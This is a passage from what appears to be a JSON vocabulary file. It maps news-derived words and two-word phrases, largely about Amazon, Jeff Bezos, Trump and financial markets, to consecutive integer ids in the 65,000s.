65565,\n  \"process issupposed\": 65566,\n  \"season heights\": 65567,\n  \"maneuver similar\": 65568,\n  \"column provides\": 65569,\n  \"numerous fronts\": 65570,\n  \"selected oz\": 65571,\n  \"exemptions losses\": 65572,\n  \"men accused\": 65573,\n  \"upholding freedom\": 65574,\n  \"recommended\": 65575,\n  \"stock schaeffer\": 65576,\n  \"2034\": 65577,\n  \"jokingly\": 65578,\n  \"building barrier\": 65579,\n  \"notes person\": 65580,\n  \"law later\": 65581,\n  \"ballot gee\": 65582,\n  \"looser markets\": 65583,\n  \"validate\": 65584,\n  \"homes millennials\": 65585,\n  \"slid 653\": 65586,\n  \"shirts tan\": 65587,\n  \"extensively asked\": 65588,\n  \"conservatives allege\": 65589,\n  \"fertility\": 65590,\n  \"congress needs\": 65591,\n  \"follow ryan_mcqueeney\": 65592,\n  \"length videopinner\": 65593,\n  \"wire reports\": 65594,\n  \"revenues bigger\": 65595,\n  \"school shopping\": 65596,\n  \"glue mailbox\": 65597,\n  \"desoto\": 65598,\n  \"lab miami\": 65599,\n  \"2f19\": 65600,\n  \"mallard\": 65601,\n  \"scale cannabinoid\": 65602,\n  \"term presidential\": 65603,\n  \"stirring\": 65604,\n  \"content tag\": 65605,\n  \"migrants protecting\": 65606,\n  \"commission regulation\": 65607,\n  \"nba basketball\": 65608,\n  \"stockings office\": 65609,\n  \"chan source\": 65610,\n  \"organized campaign\": 65611,\n  \"crooks\": 65612,\n  \"taliban representatives\": 65613,\n  \"drugs sure\": 65614,\n  \"news jailed\": 65615,\n  \"state banquet\": 65616,\n  \"annabelle liang\": 65617,\n  \"trulyextraordinary\": 65618,\n  \"reports tonight\": 65619,\n  \"vincent vinnie\": 65620,\n  \"399 million\": 65621,\n  \"sustainability fears\": 65622,\n  \"stabilizing\": 65623,\n  \"queens kim\": 65624,\n  \"prominent reporters\": 65625,\n  \"preston\": 65626,\n  \"stop offering\": 65627,\n  \"teachers unions\": 65628,\n  \"tall residential\": 65629,\n  \"stopping amazon\": 65630,\n  \"temporary adviser\": 65631,\n  \"suing lampert\": 65632,\n  \"build manhattan\": 65633,\n  \"process important\": 65634,\n  \"release cited\": 65635,\n  \"active twitter\": 65636,\n  \"twitter results\": 65637,\n  \"richest companies\": 65638,\n  \"technology huseman\": 65639,\n  \"amazon reorganizes\": 65640,\n  \"proven leadership\": 65641,\n  \"sinclair\": 65642,\n  \"turnouts\": 65643,\n  \"mingle share\": 65644,\n  \"grows workers\": 65645,\n  \"collected nonfiction\": 65646,\n  \"consider\": 65647,\n  \"canvassing\": 65648,\n  \"start saving\": 65649,\n  \"pay workers\": 65650,\n  \"time relieved\": 65651,\n  \"systrom\": 65652,\n  \"main character\": 65653,\n  \"contract awarded\": 65654,\n  \"reward favored\": 65655,\n  \"fbi investigation\": 65656,\n  \"shipments makes\": 65657,\n  \"offered services\": 65658,\n  \"president inauguration\": 65659,\n  \"contestant\": 65660,\n  \"delay scheduled\": 65661,\n  \"amazon overweight\": 65662,\n  \"visible debate\": 65663,\n  \"henssler\": 65664,\n  \"climate accord\": 65665,\n  \"pecker approached\": 65666,\n  \"partial relocation\": 65667,\n  \"190 000\": 65668,\n  \"aim\\u00e9 holds\": 65669,\n  \"informational power\": 65670,\n  \"delis\": 65671,\n  \"washingtonpost amazon\": 65672,\n  \"displayed\": 65673,\n  \"behemoth retailer\": 65674,\n  \"perk\": 65675,\n  \"make donald\": 65676,\n  \"washington donors\": 65677,\n  \"services click\": 65678,\n  \"campaign national\": 65679,\n  \"people finances\": 65680,\n  \"distinguish knockoffs\": 65681,\n  \"intensively\": 65682,\n  \"environmental enforcement\": 65683,\n  \"additionally fought\": 65684,\n  \"unspecified\": 65685,\n  \"trump hints\": 65686,\n  \"marx\": 65687,\n  \"boe president\": 65688,\n  \"yangtze\": 65689,\n  \"kirincic\": 65690,\n  \"jesuit priest\": 65691,\n  \"treasury head\": 65692,\n  \"add\": 65693,\n  \"professional networking\": 65694,\n  \"farming products\": 65695,\n  \"response google\": 65696,\n  \"vel\\u00e1zquez state\": 65697,\n  \"unnamed ip\": 65698,\n  \"feeding onitself\": 65699,\n  \"priced better\": 65700,\n  \"business real_estate\": 65701,\n  \"shoppers liable\": 65702,\n  \"allocation methodology\": 65703,\n  \"kingdom based\": 65704,\n  \"luxembourg total\": 65705,\n  \"clary sage\": 65706,\n  \"amazon unveils\": 65707,\n  \"shelby\": 65708,\n  \"told investigators\": 65709,\n  \"accused sanchez\": 65710,\n  \"thosequestions\": 65711,\n  \"using ovens\": 65712,\n  \"stripe\": 65713,\n  \"older posts\": 65714,\n  \"house hollywood\": 65715,\n  \"humidity fewer\": 65716,\n  \"favorite interviews\": 65717,\n  \"work mayor\": 65718,\n  \"publically rebukes\": 65719,\n  \"receiving compensation\": 65720,\n  \"practical ai\": 65721,\n  \"gay bisexual\": 65722,\n  \"ago research\": 65723,\n  \"decade republicans\": 65724,\n  \"internet access\": 65725,\n  \"arabia iran\": 65726,\n  \"million headwind\": 65727,\n  \"deployed\": 65728,\n  \"wars story\": 65729,\n  \"propose guidelines\": 65730,\n  \"cost calculation\": 65731,\n  \"bezos likes\": 65732,\n  \"military times\": 65733,\n  \"bring oath\": 65734,\n  \"google kat\": 65735,\n  \"preferred hillary\": 65736,\n  \"received dressed\": 65737,\n  \"whoosh happen\": 65738,\n  \"simple minded\": 65739,\n  \"lary\": 65740,\n  \"york congressman\": 65741,\n  \"amazon starbucks\": 65742,\n  \"memorial\": 65743,\n  \"predations don\": 65744,\n  \"trump case\": 65745,\n  \"punchlines\": 65746,\n  \"politico staff\": 65747,\n  \"wall early\": 65748,\n  \"new hotels\": 65749,\n  \"popsicles\": 65750,\n  \"equally alluring\": 65751,\n  \"president carrell\": 65752,\n  \"wereoutplayed\": 65753,\n  \"infantile grudge\": 65754,\n  \"needle trump\": 65755,\n  \"locks\": 65756,\n  \"program management\": 65757,\n  \"tsx composite\": 65758,\n  \"zuckerberg basically\": 65759,\n  \"negative uses\": 65760,\n  \"hedged equit\": 65761,\n  \"leguizamo latin\": 65762,\n  \"year goading\": 65763,\n  \"blood pressure\": 65764,\n  \"singer avril\": 65765,\n  \"perceived bias\": 65766,\n  \"eventually chose\": 65767,\n  \"picked new\": 65768,\n  \"irony given\": 65769,\n  \"chair kevin\": 65770,\n  \"mad money\": 65771,\n  \"man attendees\": 65772,\n  \"founder amasses\": 65773,\n  \"flexibility\": 65774,\n  \"new page\": 65775,\n  \"goodwill\": 65776,\n  \"fulfillment center\": 65777,\n  \"conveys\": 65778,\n  \"bjarke\": 65779,\n  \"northeast investment\": 65780,\n  \"security consultancy\": 65781,\n  \"emergency worthy\": 65782,\n  \"false time_updated\": 65783,\n  \"young mystery\": 65784,\n  \"implicating trump\": 65785,\n  \"certainly worries\": 65786,\n  \"integrating amazon\": 65787,\n  \"pay 12b\": 65788,\n  \"amazon packages\": 65789,\n  \"kota\": 65790,\n  \"bundle\": 65791,\n  \"cnn frequent\": 65792,\n  \"rockaway blvd\": 65793,\n  \"unattractive prospect\": 65794,\n  \"step isn\": 65795,\n  \"john wagner\": 65796,\n  \"military vets\": 65797,\n  \"tracy home\": 65798,\n  \"voluntarily explain\": 65799,\n  \"reauth rep\": 65800,\n  \"raising fresh\": 65801,\n  \"suggested breaking\": 65802,\n  \"cultures races\": 65803,\n  \"vote requirement\": 65804,\n  \"jocum\": 65805,\n  \"productions\": 65806,\n  \"ry\": 65807,\n  \"isabel\": 65808,\n  \"simply lashing\": 65809,\n  \"tm technology\": 65810,\n  \"readers choice\": 65811,\n  \"date basis\": 65812,\n  \"furniture experts\": 65813,\n  \"room power\": 65814,\n  \"book series\": 65815,\n  \"owns number\": 65816,\n  \"business acumen\": 65817,\n  \"century think\": 65818,\n  \"flat line\": 65819,\n  \"suit pic\": 65820,\n  \"faced backlash\": 65821,\n  \"pigeons\": 65822,\n  \"griffeth head\": 65823,\n  \"tax dollars\": 65824,\n  \"tabloid earlier\": 65825,\n  \"assistance program\": 65826,\n  \"federal motor\": 65827,\n  \"microsoft releases\": 65828,\n  \"big believer\": 65829,\n  \"great managers\": 65830,\n  \"congratulate russian\": 65831,\n  \"holiness outlines\": 65832,\n  \"m570 l1313\": 65833,\n  \"gymnastics culture\": 65834,\n  \"company received\": 65835,\n  \"economics professor\": 65836,\n  \"annual person\": 65837,\n  \"officially declared\": 65838,\n  \"anti migraine\": 65839,\n  \"mission able\": 65840,\n  \"envoys\": 65841,\n  \"coped\": 65842,\n  \"latest login_standalone\": 65843,\n  \"reuters nasdaq\": 65844,\n  \"cost increases\": 65845,\n  \"tariff increase\": 65846,\n  \"underage\": 65847,\n  \"prosecutors say\": 65848,\n  \"republican donald\": 65849,\n  \"including barcode\": 65850,\n  \"attack created\": 65851,\n  \"doing thank\": 65852,\n  \"products regional\": 65853,\n  \"record amazon\": 65854,\n  \"trump supports\": 65855,\n  \"glen\": 65856,\n  \"celebrate failure\": 65857,\n  \"exhibitor\": 65858,\n  \"stock falls\": 65859,\n  \"criticism house\": 65860,\n  \"provisional tax\": 65861,\n  \"mayor appoints\": 65862,\n  \"banners reading\": 65863,\n  \"11th hour\": 65864,\n  \"sandler wrote\": 65865,\n  \"marin ireland\": 65866,\n  \"cam\": 65867,\n  \"amazon cuddly\": 65868,\n  \"venezuela maduro\": 65869,\n  \"event coverage\": 65870,\n  \"reported revenues\": 65871,\n  \"latest candidates\": 65872,\n  \"threaten bezos\": 65873,\n  \"email ceo\": 65874,\n  \"subsequent issues\": 65875,\n  \"soy demand\": 65876,\n  \"michelin restaurants\": 65877,\n  \"main beef\": 65878,\n  \"pollution amazon\": 65879,\n  \"annual list\": 65880,\n  \"ideas damaging\": 65881,\n  \"pitcher sonny\": 65882,\n  \"julia boorstin\": 65883,\n  \"currently apple\": 65884,\n  \"dispatched sen\": 65885,\n  \"story reporting\": 65886,\n  \"containing sucrose\": 65887,\n  \"reported rep\": 65888,\n  \"rodman reveals\": 65889,\n  \"zdnet article\": 65890,\n  \"davos summit\": 65891,\n  \"left uber\": 65892,\n  \"company advised\": 65893,\n  \"scarcely better\": 65894,\n  \"liberal bias\": 65895,\n  \"fleeced offering\": 65896,\n  \"remains blocked\": 65897,\n  \"consumer groups\": 65898,\n  \"trump condemned\": 65899,\n  \"american stories\": 65900,\n  \"teases\": 65901,\n  \"political goals\": 65902,\n  \"mikepence\": 65903,\n  \"cities geekwire\": 65904,\n  \"taken major\": 65905,\n  \"merely shameful\": 65906,\n  \"benioff\": 65907,\n  \"5m\": 65908,\n  \"times earnings\": 65909,\n  \"trump shrugged\": 65910,\n  \"says relationship\": 65911,\n  \"3_5 ad\": 65912,\n  \"gazette email\": 65913,\n  \"amazon tutelage\": 65914,\n  \"longest streak\": 65915,\n  \"void s8i\": 65916,\n  \"involves\": 65917,\n  \"software engineers\": 65918,\n  \"200 point\": 65919,\n  \"tech venture\": 65920,\n  \"adds products\": 65921,\n  \"inured\": 65922,\n  \"future created\": 65923,\n  \"pretzelcharts\": 65924,\n  \"gains stop\": 65925,\n  \"chungah\": 65926,\n  \"divorce story\": 65927,\n  \"dangerous ideology\": 65928,\n  \"brewing war\": 65929,\n  \"promotable content\": 65930,\n  \"charger\": 65931,\n  \"priya\": 65932,\n  \"nyt alex\": 65933,\n  \"including prohibitions\": 65934,\n  \"executives buffett\": 65935,\n  \"ireland sweden\": 65936,\n  \"launches vegan\": 65937,\n  \"stripping allegedly\": 65938,\n  \"flame war\": 65939,\n  \"emily\": 65940,\n  \"roundtable quarterly\": 65941,\n  \"distinct\": 65942,\n  \"ethics rules\": 65943,\n  \"worth 9bn\": 65944,\n  \"posted link\": 65945,\n  \"worldwide attention\": 65946,\n  \"finds banks\": 65947,\n  \"adjusted\": 65948,\n  \"publisher allegedly\": 65949,\n  \"2008 economic\": 65950,\n  \"jeremy stoppelman\": 65951,\n  \"stated qualified\": 65952,\n  \"catastrophic climate\": 65953,\n  \"liberally\": 65954,\n  \"wrote noting\": 65955,\n  \"evidence jesse\": 65956,\n  \"nationwide tour\": 65957,\n  \"covington\": 65958,\n  \"controversial immigration\": 65959,\n  \"consumer ceo\": 65960,\n  \"way encourage\": 65961,\n  \"attributes slower\": 65962,\n  \"report tells\": 65963,\n  \"females named\": 65964,\n  \"wineries\": 65965,\n  \"young addition\": 65966,\n  \"ausick\": 65967,\n  \"cities counties\": 65968,\n  \"administration enemies\": 65969,\n  \"trump preparing\": 65970,\n  \"usps raise\": 65971,\n  \"exactly set\": 65972,\n  \"professor scott\": 65973,\n  \"2013 benedict\": 65974,\n  \"climate trumps\": 65975,\n  \"gewirtz liz\": 65976,\n  \"ogborn\": 65977,\n  \"share bonus\": 65978,\n  \"chained\": 65979,\n  \"gerry smith\": 65980,\n  \"story ibm\": 65981,\n  \"cortez added\": 65982,\n  \"shames washington\": 65983,\n  \"effort trump\": 65984,\n  \"beloved teams\": 65985,\n  \"threshold needed\": 65986,\n  \"sarno\": 65987,\n  \"twitter miguelottaviano\": 65988,\n  \"sonin law\": 65989,\n  \"old mackenzie\": 65990,\n  \"whimsical recurrence\": 65991,\n  \"week shows\": 65992,\n  \"parenting agency\": 65993,\n  \"mob\": 65994,\n  \"nicaraguan student\": 65995,\n  \"bestrode\": 65996,\n  \"bro\": 65997,\n  \"aa aa\": 65998,\n  \"ranjneeshis\": 65999,\n  \"2017 post\": 66000,\n  \"stricter regulations\": 66001,\n  \"doesn look\": 66002,\n  \"larger question\": 66003,\n  \"ocala concerning\": 66004,\n  \"nodding brilliantly\": 66005,\n  \"amazon repeatedly\": 66006,\n  \"urges australia\": 66007,\n  \"services union\": 66008,\n  \"mobility\": 66009,\n  \"ideological feud\": 66010,\n  \"microsoft pledges\": 66011,\n  \"vancouver film\": 66012,\n  \"sharaab sabzi\": 66013,\n  \"trump lead\": 66014,\n  \"troubled agency\": 66015,\n  \"lobbyist weapon\": 66016,\n  \"told hundreds\": 66017,\n  \"3p sellers\": 66018,\n  \"writing given\": 66019,\n  \"amazon thanks\": 66020,\n  \"functional\": 66021,\n  \"jonathan welcome\": 66022,\n  \"privacy counsel\": 66023,\n  \"skepticism questioning\": 66024,\n  \"true david\": 66025,\n  \"girlfriend kimberly\": 66026,\n  \"harsher action\": 66027,\n  \"hasn hurt\": 66028,\n  \"results doubts\": 66029,\n  \"596 160\": 66030,\n  \"virginia reputation\": 66031,\n  \"kushner brushed\": 66032,\n  \"seated\": 66033,\n  \"austin bush\": 66034,\n  \"necessarily reflect\": 66035,\n  \"unfavourable\": 66036,\n  \"watch beloved\": 66037,\n  \"amazon deliveries\": 66038,\n  \"root bad\": 66039,\n  \"london\": 66040,\n  \"sofie\": 66041,\n  \"video ismobilebannertext\": 66042,\n  \"advice sevice\": 66043,\n  \"officials leading\": 66044,\n  \"demonize members\": 66045,\n  \"dems establishment\": 66046,\n  \"kindred\": 66047,\n  \"salem\": 66048,\n  \"facebook twitter\": 66049,\n  \"brought bezos\": 66050,\n  \"defenders\": 66051,\n  \"market tumbles\": 66052,\n  \"elaborate costume\": 66053,\n  \"republican written\": 66054,\n  \"jr jack\": 66055,\n  \"thing sanders\": 66056,\n  \"whitehead chose\": 66057,\n  \"bowes pbi\": 66058,\n  \"adversely\": 66059,\n  \"people spent\": 66060,\n  \"jpgbut\": 66061,\n  \"network fake\": 66062,\n  \"fungi\": 66063,\n  \"military dunford\": 66064,\n  \"york london\": 66065,\n  \"ap noted\": 66066,\n  \"target matches\": 66067,\n  \"international services\": 66068,\n  \"extramarital relationship\": 66069,\n  \"assistance represented\": 66070,\n  \"beast recently\": 66071,\n  \"founded maxsa\": 66072,\n  \"schapperts say\": 66073,\n  \"richest bloke\": 66074,\n  \"irs forms\": 66075,\n  \"snack food\": 66076,\n  \"advertised\": 66077,\n  \"mistreats employees\": 66078,\n  \"field goal\": 66079,\n  \"listens chip\": 66080,\n  \"alive advised\": 66081,\n  \"intern chadra\": 66082,\n  \"brandus\": 66083,\n  \"jeffrey toobin\": 66084,\n  \"foreign dictators\": 66085,\n  \"acted illegally\": 66086,\n  \"meddling read\": 66087,\n  \"2018 best\": 66088,\n  \"information phase\": 66089,\n  \"pack called\": 66090,\n  \"raise credit\": 66091,\n  \"campaign slogan\": 66092,\n  \"killing kennedy\": 66093,\n  \"schedules workers\": 66094,\n  \"frequency type\": 66095,\n  \"hero billionaire\": 66096,\n  \"highlights amazon\": 66097,\n  \"scope\": 66098,\n  \"oracle amazon\": 66099,\n  \"cavs curry\": 66100,\n  \"book titled\": 66101,\n  \"week cook\": 66102,\n  \"true isn\": 66103,\n  \"highlighted bezos\": 66104,\n  \"bezos accused\": 66105,\n  \"term things\": 66106,\n  \"convenes\": 66107,\n  \"snl line\": 66108,\n  \"alley described\": 66109,\n  \"publicly declare\": 66110,\n  \"possible relationship\": 66111,\n  \"chant\": 66112,\n  \"coincidence lauren\": 66113,\n  \"distracting\": 66114,\n  \"help elect\": 66115,\n  \"severe recession\": 66116,\n  \"managerial decision\": 66117,\n  \"industrials rose\": 66118,\n  \"jamaican mexican\": 66119,\n  \"start bringing\": 66120,\n  \"following current\": 66121,\n  \"outright decline\": 66122,\n  \"twitter don\": 66123,\n  \"oil sector\": 66124,\n  \"mortgage sold\": 66125,\n  \"new age\": 66126,\n  \"compensation law\": 66127,\n  \"standard guidelines\": 66128,\n  \"tweeted jan\": 66129,\n  \"exclusive given\": 66130,\n  \"paterson\": 66131,\n  \"managing member\": 66132,\n  \"taxing companies\": 66133,\n  \"wild boar\": 66134,\n  \"bivalves\": 66135,\n  \"microsoft deepen\": 66136,\n  \"council oversight\": 66137,\n  \"tweets bezos\": 66138,\n  \"hathaway nyse\": 66139,\n  \"elderly 2018\": 66140,\n  \"similar circumstances\": 66141,\n  \"having single\": 66142,\n  \"projects overseas\": 66143,\n  \"weak unemployment\": 66144,\n  \"keen\": 66145,\n  \"homeless native\": 66146,\n  \"amazon lockers\": 66147,\n  \"arctic temperatures\": 66148,\n  \"state expects\": 66149,\n  \"launched new\": 66150,\n  \"totaling 413\": 66151,\n  \"tax minimisation\": 66152,\n  \"deforestation occurring\": 66153,\n  \"d1a s4a\": 66154,\n  \"charge higher\": 66155,\n  \"abduction\": 66156,\n  \"weapons greenwald\": 66157,\n  \"content budget\": 66158,\n  \"tvs\": 66159,\n  \"immigrants social\": 66160,\n  \"coined\": 66161,\n  \"say fake\": 66162,\n  \"consumers interests\": 66163,\n  \"governor brainard\": 66164,\n  \"warehouses currently\": 66165,\n  \"wiring required\": 66166,\n  \"appreciation universe\": 66167,\n  \"clumsy\": 66168,\n  \"old sketch\": 66169,\n  \"political agent\": 66170,\n  \"worry 2018\": 66171,\n  \"pay billion\": 66172,\n  \"dining reviews\": 66173,\n  \"officials past\": 66174,\n  \"college high\": 66175,\n  \"shoppers flocked\": 66176,\n  \"add 100\": 66177,\n  \"shift public\": 66178,\n  \"bloomberg notes\": 66179,\n  \"brenyah mariner\": 66180,\n  \"makes fun\": 66181,\n  \"margins analysts\": 66182,\n  \"desk schumer\": 66183,\n  \"jacobs reported\": 66184,\n  \"sen mitch\": 66185,\n  \"naturalcures news\": 66186,\n  \"michael wolff\": 66187,\n  \"does highlight\": 66188,\n  \"ads revealed\": 66189,\n  \"party marketplace\": 66190,\n  \"staff sanders\": 66191,\n  \"grace moretz\": 66192,\n  \"500 people\": 66193,\n  \"ensure continued\": 66194,\n  \"viva la\": 66195,\n  \"allegedly wrote\": 66196,\n  \"popular trail\": 66197,\n  \"volume items\": 66198,\n  \"party development\": 66199,\n  \"amazon ditches\": 66200,\n  \"amazon chief\": 66201,\n  \"openly investigating\": 66202,\n  \"moral focus\": 66203,\n  \"resistant\": 66204,\n  \"company plays\": 66205,\n  \"nonprofit tax\": 66206,\n  \"real jackie\": 66207,\n  \"new entrepreneurial\": 66208,\n  \"happens obviously\": 66209,\n  \"cnn bloomberg\": 66210,\n  \"facebook apparently\": 66211,\n  \"restaurant hollywood\": 66212,\n  \"indomitable\": 66213,\n  \"humanity puts\": 66214,\n  \"structurally separate\": 66215,\n  \"axios\": 66216,\n  \"cfo highlighted\": 66217,\n  \"markets adding\": 66218,\n  \"coming soon\": 66219,\n  \"tl adam\": 66220,\n  \"new world\": 66221,\n  \"idiocracy hedge\": 66222,\n  \"morning tech\": 66223,\n  \"users illegally\": 66224,\n  \"custom shirts\": 66225,\n  \"rent used\": 66226,\n  \"campaign foreign\": 66227,\n  \"potentially regulate\": 66228,\n  \"half monthly\": 66229,\n  \"t5 wa\": 66230,\n  \"expect amzn\": 66231,\n  \"ricky\": 66232,\n  \"whining republicans\": 66233,\n  \"group asking\": 66234,\n  \"dealmaking tactics\": 66235,\n  \"y19g327dpi\": 66236,\n  \"sink\": 66237,\n  \"article showlogo\": 66238,\n  \"european consensus\": 66239,\n  \"product competitor\": 66240,\n  \"shopper\": 66241,\n  \"spread treasury\": 66242,\n  \"paul limburg\": 66243,\n  \"predecessor\": 66244,\n  \"best novelists\": 66245,\n  \"committee cummings\": 66246,\n  \"gop long\": 66247,\n  \"monetary\": 66248,\n  \"takeoff\": 66249,\n  \"cia concern\": 66250,\n  \"hand recounted\": 66251,\n  \"militarisation\": 66252,\n  \"corp alphabet\": 66253,\n  \"cities decisions\": 66254,\n  \"discussed pardoning\": 66255,\n  \"recently leaked\": 66256,\n  \"brings scientists\": 66257,\n  \"prove boon\": 66258,\n  \"clarence thomas\": 66259,\n  \"sbux building\": 66260,\n  \"disgrace sanders\": 66261,\n  \"employees federal\": 66262,\n  \"took turns\": 66263,\n  \"delivery centers\": 66264,\n  \"stancy correll\": 66265,\n  \"alias\": 66266,\n  \"carlos alberto\": 66267,\n  \"purposes beating\": 66268,\n  \"mockery\": 66269,\n  \"rear adm\": 66270,\n  \"eclipsing\": 66271,\n  \"adamantly desires\": 66272,\n  \"ground service\": 66273,\n  \"loyal supporters\": 66274,\n  \"amazon listened\": 66275,\n  \"airport hangar\": 66276,\n  \"king seeds\": 66277,\n  \"company q3\": 66278,\n  \"faced sharp\": 66279,\n  \"becker proceeded\": 66280,\n  \"following shootings\": 66281,\n  \"seattle times\": 66282,\n  \"detroit metropolitan\": 66283,\n  \"dream honeymoon\": 66284,\n  \"historical news\": 66285,\n  \"tolerant\": 66286,\n  \"strained relationship\": 66287,\n  \"campaign focusing\": 66288,\n  \"pummeled\": 66289,\n  \"truly puts\": 66290,\n  \"eagerly engaged\": 66291,\n  \"available following\": 66292,\n  \"black tubes\": 66293,\n  \"david levitan\": 66294,\n  \"silverman tells\": 66295,\n  \"late 1990s\": 66296,\n  \"cooperating\": 66297,\n  \"chapo prosecution\": 66298,\n  \"split saying\": 66299,\n  \"pointed questions\": 66300,\n  \"housed educated\": 66301,\n  \"000 teens\": 66302,\n  \"cruel ways\": 66303,\n  \"policy senator\": 66304,\n  \"antonio added\": 66305,\n  \"investor support\": 66306,\n  \"donaldjtrumpjr\": 66307,\n  \"2139393959 k4a\": 66308,\n  \"president resentment\": 66309,\n  \"responsible steps\": 66310,\n  \"local retailer\": 66311,\n  \"kenosha wisc\": 66312,\n  \"epshteyn offers\": 66313,\n  \"moynihan professor\": 66314,\n  \"earliest employees\": 66315,\n  \"tainted\": 66316,\n  \"pixel xl\": 66317,\n  \"works payforplay\": 66318,\n  \"maker sonos\": 66319,\n  \"deep discount\": 66320,\n  \"convene committee\": 66321,\n  \"dwellers\": 66322,\n  \"robert weinroth\": 66323,\n  \"reasonable goal\": 66324,\n  \"recognize\": 66325,\n  \"bezoz\": 66326,\n  \"deputy social\": 66327,\n  \"counsellor\": 66328,\n  \"job placement\": 66329,\n  \"nearly sensitive\": 66330,\n  \"hamfisted regulations\": 66331,\n  \"effort circumstance\": 66332,\n  \"turkey dumping\": 66333,\n  \"locations long\": 66334,\n  \"operators including\": 66335,\n  \"westward expansion\": 66336,\n  \"china gaining\": 66337,\n  \"wholly regressive\": 66338,\n  \"charged issue\": 66339,\n  \"billion tech\": 66340,\n  \"book howard\": 66341,\n  \"state matching\": 66342,\n  \"congresswoman meng\": 66343,\n  \"resistance bled\": 66344,\n  \"7ct\": 66345,\n  \"development officials\": 66346,\n  \"workplace rights\": 66347,\n  \"maryland governor\": 66348,\n  \"habitat\": 66349,\n  \"loan payments\": 66350,\n  \"gun control\": 66351,\n  \"halt cia\": 66352,\n  \"mckinnon wsj\": 66353,\n  \"evil anti\": 66354,\n  \"john leguizamo\": 66355,\n  \"buzzfeed\": 66356,\n  \"malinchak featured\": 66357,\n  \"regain custody\": 66358,\n  \"html utm_medium\": 66359,\n  \"enrollment\": 66360,\n  \"indicate companies\": 66361,\n  \"worth 2018\": 66362,\n  \"preventing counterfeit\": 66363,\n  \"755 shares\": 66364,\n  \"alerts plus\": 66365,\n  \"hunt state\": 66366,\n  \"favorite company\": 66367,\n  \"proposing big\": 66368,\n  \"nonnegotiable\": 66369,\n  \"accordance\": 66370,\n  \"internal\": 66371,\n  \"wit hbo\": 66372,\n  \"market biggest\": 66373,\n  \"online shops\": 66374,\n  \"mahaney says\": 66375,\n  \"peter faricy\": 66376,\n  \"struggling metropolitan\": 66377,\n  \"commercial cloud\": 66378,\n  \"flash forward\": 66379,\n  \"pioneering\": 66380,\n  \"make adjustments\": 66381,\n  \"sandbox\": 66382,\n  \"orwell great\": 66383,\n  \"administration acted\": 66384,\n  \"old hacker\": 66385,\n  \"francoise\": 66386,\n  \"accuse\": 66387,\n  \"fizzled amazon\": 66388,\n  \"professionals filed\": 66389,\n  \"new leader\": 66390,\n  \"1949\": 66391,\n  \"weeks sanchez\": 66392,\n  \"replacing\": 66393,\n  \"tao te\": 66394,\n  \"people effort\": 66395,\n  \"episodic chronicle\": 66396,\n  \"cnn video\": 66397,\n  \"motivation\": 66398,\n  \"shocker\": 66399,\n  \"house photo\": 66400,\n  \"shills\": 66401,\n  \"concrete attempts\": 66402,\n  \"coal nuclear\": 66403,\n  \"tooembarrassed\": 66404,\n  \"globaldata saunders\": 66405,\n  \"blog deadspin\": 66406,\n  \"labor relations\": 66407,\n  \"commentator referenced\": 66408,\n  \"ikullgren\": 66409,\n  \"eaters\": 66410,\n  \"prematurely jerry\": 66411,\n  \"caucus isn\": 66412,\n  \"moving money\": 66413,\n  \"upset victory\": 66414,\n  \"american history\": 66415,\n  \"long rocky\": 66416,\n  \"replay\": 66417,\n  \"labs\": 66418,\n  \"trump war\": 66419,\n  \"architectures really\": 66420,\n  \"northeast wynn\": 66421,\n  \"conservative goal\": 66422,\n  \"sundance institute\": 66423,\n  \"instrument\": 66424,\n  \"paralyzed veterans\": 66425,\n  \"wove\": 66426,\n  \"start delivering\": 66427,\n  \"suck\": 66428,\n  \"repping\": 66429,\n  \"sent reeling\": 66430,\n  \"national guard\": 66431,\n  \"paulina\": 66432,\n  \"indoors\": 66433,\n  \"continually work\": 66434,\n  \"doorway\": 66435,\n  \"valley eu\": 66436,\n  \"military instillations\": 66437,\n  \"allstate corp\": 66438,\n  \"uk spain\": 66439,\n  \"media retailers\": 66440,\n  \"spelunking\": 66441,\n  \"stars nice\": 66442,\n  \"skills real\": 66443,\n  \"electronic charging\": 66444,\n  \"slaughtered millions\": 66445,\n  \"offering financial\": 66446,\n  \"month spokeswoman\": 66447,\n  \"talked twitter\": 66448,\n  \"whoare\": 66449,\n  \"junk yard\": 66450,\n  \"kully antitrust\": 66451,\n  \"job threat\": 66452,\n  \"pages long\": 66453,\n  \"mile efforts\": 66454,\n  \"1168 page\": 66455,\n  \"story russian\": 66456,\n  \"humiliating\": 66457,\n  \"lifeblood\": 66458,\n  \"sicario day\": 66459,\n  \"naturally protective\": 66460,\n  \"years called\": 66461,\n  \"ruth porat\": 66462,\n  \"guy gill\": 66463,\n  \"vehicle stereo\": 66464,\n  \"fairport\": 66465,\n  \"sh facebooks\": 66466,\n  \"sweetheart\": 66467,\n  \"mcconnell faces\": 66468,\n  \"bug\": 66469,\n  \"watchdog congress\": 66470,\n  \"recently raised\": 66471,\n  \"2018 midterm\": 66472,\n  \"meet expectations\": 66473,\n  \"science says\": 66474,\n  \"oscar winning\": 66475,\n  \"lion share\": 66476,\n  \"intentionally hung\": 66477,\n  \"armed man\": 66478,\n  \"sorting discounts\": 66479,\n  \"cronyism continues\": 66480,\n  \"simply leave\": 66481,\n  \"wore wire\": 66482,\n  \"da vinci\": 66483,\n  \"amazon drove\": 66484,\n  \"bay produced\": 66485,\n  \"fcc rules\": 66486,\n  \"animosity\": 66487,\n  \"amazon refusing\": 66488,\n  \"technology infrastructure\": 66489,\n  \"exercising\": 66490,\n  \"winning collection\": 66491,\n  \"boeing employees\": 66492,\n  \"rog looks\": 66493,\n  \"concerns circulated\": 66494,\n  \"best exploited\": 66495,\n  \"amit\": 66496,\n  \"eleanor oliphant\": 66497,\n  \"best billionaire\": 66498,\n  \"xinhua\": 66499,\n  \"table event\": 66500,\n  \"america economic\": 66501,\n  \"vendor analysis\": 66502,\n  \"scandal shocking\": 66503,\n  \"finance committee\": 66504,\n  \"tennant michael\": 66505,\n  \"segar construction\": 66506,\n  \"mention companies\": 66507,\n  \"case sent\": 66508,\n  \"toll climbs\": 66509,\n  \"benevolent champion\": 66510,\n  \"corp mcd\": 66511,\n  \"0x734\": 66512,\n  \"creator cuse\": 66513,\n  \"overvalued potential\": 66514,\n  \"amazon executive\": 66515,\n  \"collins covers\": 66516,\n  \"permanent progressive\": 66517,\n  \"spanish culture\": 66518,\n  \"spiritual counselor\": 66519,\n  \"slovenly\": 66520,\n  \"maker 463\": 66521,\n  \"caused bezos\": 66522,\n  \"screamingly\": 66523,\n  \"benefits tremendously\": 66524,\n  \"online platform\": 66525,\n  \"paving\": 66526,\n  \"elizabeth wasserman\": 66527,\n  \"derided amazon\": 66528,\n  \"typically migrants\": 66529,\n  \"hopeful\": 66530,\n  